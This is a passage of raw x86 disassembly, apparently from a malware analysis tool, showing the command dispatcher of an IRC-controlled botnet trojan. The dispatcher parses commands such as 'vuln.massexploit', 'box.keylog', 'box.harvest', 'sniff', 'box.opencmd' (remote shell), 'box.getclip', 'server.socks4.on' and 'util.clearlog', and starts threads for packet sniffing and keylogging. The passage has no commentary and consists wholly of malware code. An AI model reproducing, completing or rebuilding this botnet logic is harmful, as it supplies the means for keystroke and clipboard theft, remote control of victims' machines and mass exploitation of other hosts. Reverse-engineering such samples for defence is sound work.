		push	offset a63	; "63"
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40DAC6:				; CODE XREF: sub_40CD3A+D74j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	short loc_40DAE9
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41587F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40DAFA
; ---------------------------------------------------------------------------


loc_40DAE9:				; CODE XREF: sub_40CD3A+D9Bj
		call	sub_415372
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40DAFA:				; CODE XREF: sub_40CD3A+DADj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_415B10
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415390
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4098D4
		push	edi
		push	[ebp+arg_0]
		call	sub_4158E0
		add	esp, 30h


loc_40DB50:				; CODE XREF: sub_40CD3A+D2Dj
		test	eax, eax
		jnz	loc_40DA6C
		mov	edi, 1FFh
		lea	eax, [ebp+var_21D4]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_21D4]
		push	edi
		push	eax
		lea	eax, [ebp+var_23D4]
		push	eax
		call	sub_416BE0
		mov	edi, offset asc_426A34 ; " "
		lea	eax, [ebp+var_23D4]
		push	edi
		push	eax
		call	sub_416B3F
		add	esp, 20h
		mov	[ebp+var_94], eax
		mov	[ebp+arg_10], 1


loc_40DBA3:				; CODE XREF: sub_40CD3A+E83j
		push	edi
		push	ebx
		call	sub_416B3F
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_10]
		inc	[ebp+arg_10]
		cmp	[ebp+arg_10], 20h
		mov	[ebp+ecx*4+var_94], eax
		jl	short loc_40DBA3
		lea	eax, [ebp+esi+var_94]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_40D18F
		add	ecx, 3
		mov	[eax], ecx


loc_40DBD5:				; CODE XREF: sub_40CD3A+CB5j
		mov	edi, [eax]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127CB
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127CB
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127A9
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127A9
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41270B
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41270B
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126FC
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126FC
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125FF
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125FF
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125FF
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125FF
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124DE
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124DE
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD29
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_4362B4
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DD29:				; CODE XREF: sub_40CD3A+FD5j
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD52
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_436290
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DD52:				; CODE XREF: sub_40CD3A+FFEj
		push	edi
		push	offset dword_436280
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD7B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_436274
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DD7B:				; CODE XREF: sub_40CD3A+1027j
		push	edi
		push	offset dword_43626C
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDA4
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_436260
		push	offset dword_436254
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DDA4:				; CODE XREF: sub_40CD3A+1050j
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDCD
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_436230
		push	offset dword_436220
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DDCD:				; CODE XREF: sub_40CD3A+1079j
		push	edi
		push	offset dword_436214
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDF6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_436208
		push	offset dword_4361FC
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DDF6:				; CODE XREF: sub_40CD3A+10A2j
		push	edi
		push	offset dword_4361EC
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE1F
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_4361E0
		push	offset dword_4361D4
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DE1F:				; CODE XREF: sub_40CD3A+10CBj
		push	edi
		push	offset dword_4361C4
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE48
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_4361B8
		push	offset dword_4361AC
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DE48:				; CODE XREF: sub_40CD3A+10F4j
		push	edi
		push	offset dword_43619C
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE71
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_436190
		push	offset dword_436184
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DE71:				; CODE XREF: sub_40CD3A+111Dj
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE9A
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_436168
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DE9A:				; CODE XREF: sub_40CD3A+1146j
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124AF
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124AF
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249A
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249A
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF17
		push	[ebp+esi+var_90]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_436108
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DF17:				; CODE XREF: sub_40CD3A+11C3j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF40
		push	[ebp+esi+var_90]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_4360E0
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DF40:				; CODE XREF: sub_40CD3A+11ECj
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF69
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DF69:				; CODE XREF: sub_40CD3A+1215j
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412481
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412481
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412460
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412460
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41243E
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41243E
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F5
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F5
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123B7
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123B7
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412380
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412380
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0B7
		call	sub_409D12
		test	eax, eax
		mov	eax, offset dword_436004
		jnz	short loc_40E089
		mov	eax, offset dword_435FCC


loc_40E089:				; CODE XREF: sub_40CD3A+1348j
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 1Ch
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_40E0B7:				; CODE XREF: sub_40CD3A+133Aj
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122A2
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122A2
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41227F
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41227F
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412190
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412190
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412174
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412174
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41213A
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41213A
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41210F
		push	edi
		push	offset aBox_si	; "box.si"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41210F
		push	edi
		push	offset aEnz_beg0ne ; "enz.beg0ne"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120D5
		push	edi
		push	offset aEnz_b3g	; "enz.b3g"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120D5
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB3
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB3
		push	edi
		push	offset aBox_harvest ; "box.harvest"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F89
		push	edi
		push	offset aBox_key	; "box.key"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F89
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F02
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F02
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411EE5
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411EE5
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ECC
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ECC
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E85
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E85
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E302
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40E302:				; CODE XREF: sub_40CD3A+15AEj
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E389
		cmp	[ebp+var_8], ebx
		jnz	short loc_40E332
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_40E332:				; CODE XREF: sub_40CD3A+15DCj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40E337:				; CODE XREF: sub_40CD3A+1643j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40E343
		mov	eax, offset aEmpty ; "<Empty>"


loc_40E343:				; CODE XREF: sub_40CD3A+1602j
		push	eax
		push	esi
		lea	eax, [ebp+var_2D8]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E337
		push	offset dword_435E2C
		jmp	loc_41123A
; ---------------------------------------------------------------------------


loc_40E389:				; CODE XREF: sub_40CD3A+15D7j
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E44
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E44
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E19
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E19
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DE9
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DE9
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DAF
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DAF
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C15
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C15
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ADD
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ADD
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117DE
		push	edi
		push	offset aVall	; "vall"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117DE
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40D18F
		push	[ebp+arg_8]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117BD
		push	[ebp+arg_8]
		push	offset aEnz_n	; "enz.n"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117BD
		push	[ebp+arg_8]
		push	offset aEnz_join ; "enz.join"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41179D
		push	[ebp+arg_8]
		push	offset aEnz_j	; "enz.j"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41179D
		push	[ebp+arg_8]
		push	offset aEnz_part ; "enz.part"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411787
		push	[ebp+arg_8]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411787
		push	[ebp+arg_8]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411753
		push	[ebp+arg_8]
		push	offset aEnz_r	; "enz.r"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411753
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116A3
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116A3
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115F8
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115F8
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115AD
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115AD
		push	[ebp+arg_8]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411598
		push	[ebp+arg_8]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411598
		push	[ebp+arg_8]
		push	offset aBox_open ; "box.open"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41156E
		push	[ebp+arg_8]
		push	offset aBox_o	; "box.o"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41156E
		push	[ebp+arg_8]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411549
		push	[ebp+arg_8]
		push	offset aEnz_se	; "enz.se"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411549
		push	[ebp+arg_8]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114EA
		push	[ebp+arg_8]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114EA
		push	[ebp+arg_8]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114BE
		push	[ebp+arg_8]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114BE
		push	[ebp+arg_8]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411463
		push	[ebp+arg_8]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411463
		push	[ebp+arg_8]
		push	offset aBox_delete ; "box.delete"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41142C
		push	[ebp+arg_8]
		push	offset aBox_del	; "box.del"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41142C
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41134C
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41134C
		push	[ebp+arg_8]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411331
		push	[ebp+arg_8]
		push	offset aBox_fl	; "box.fl"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411331
		push	[ebp+arg_8]
		push	offset aEnz_visit ; "enz.visit"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411245
		push	[ebp+arg_8]
		push	offset aEnz_v	; "enz.v"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411245
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111D1
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111D1
		push	[ebp+arg_8]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41117D
		push	[ebp+arg_8]
		push	offset aBox_cm	; "box.cm"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41117D
		push	[ebp+arg_8]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110F8
		push	[ebp+arg_8]
		push	offset aBox_rf	; "box.rf"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110F8
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E9A2
		push	edi
		push	offset aOn	; "on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E96A
		push	18h
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_40E898
		push	offset unk_435B84
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40E898:				; CODE XREF: sub_40CD3A+1B52j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_36C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2E4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_2E0], eax
		jnz	short loc_40E8DA
		mov	esi, offset dword_42C314
		push	offset byte_43B188
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8DA
		mov	esi, [ebp+var_8C]


loc_40E8DA:				; CODE XREF: sub_40CD3A+1B82j
					; sub_40CD3A+1B98j
		push	esi
		lea	eax, [ebp+var_368]
		push	80h
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_2D8]
		push	offset unk_435B40
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	18h
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_2E8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36C]
		push	ebx
		push	eax
		push	offset sub_4024D0
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_40E95D
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435AF0
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_40E955:				; CODE XREF: sub_40CD3A+1C29j
		push	32h
		call	dword_421060	; Sleep


loc_40E95D:				; CODE XREF: sub_40CD3A+1C08j
		cmp	[ebp+var_2DC], ebx
		jz	short loc_40E955
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_40E96A:				; CODE XREF: sub_40CD3A+1B42j
		push	edi
		push	offset aOff	; "off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F8F6
		push	ebx
		push	18h
		call	sub_414FCF
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40E998
		push	eax
		push	offset unk_435AA0
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_40E998:				; CODE XREF: sub_40CD3A+1C51j
		push	offset unk_435A64
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40E9A2:				; CODE XREF: sub_40CD3A+1B2Dj
		push	[ebp+arg_8]
		push	offset aBox_keylog ; "box.keylog"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB27
		push	edi
		push	offset aOn	; "on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EA13
		push	edi
		push	offset aFile	; "file"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EA13
		push	edi
		push	offset aOff	; "off"
		call	sub_415730
		pop	ecx
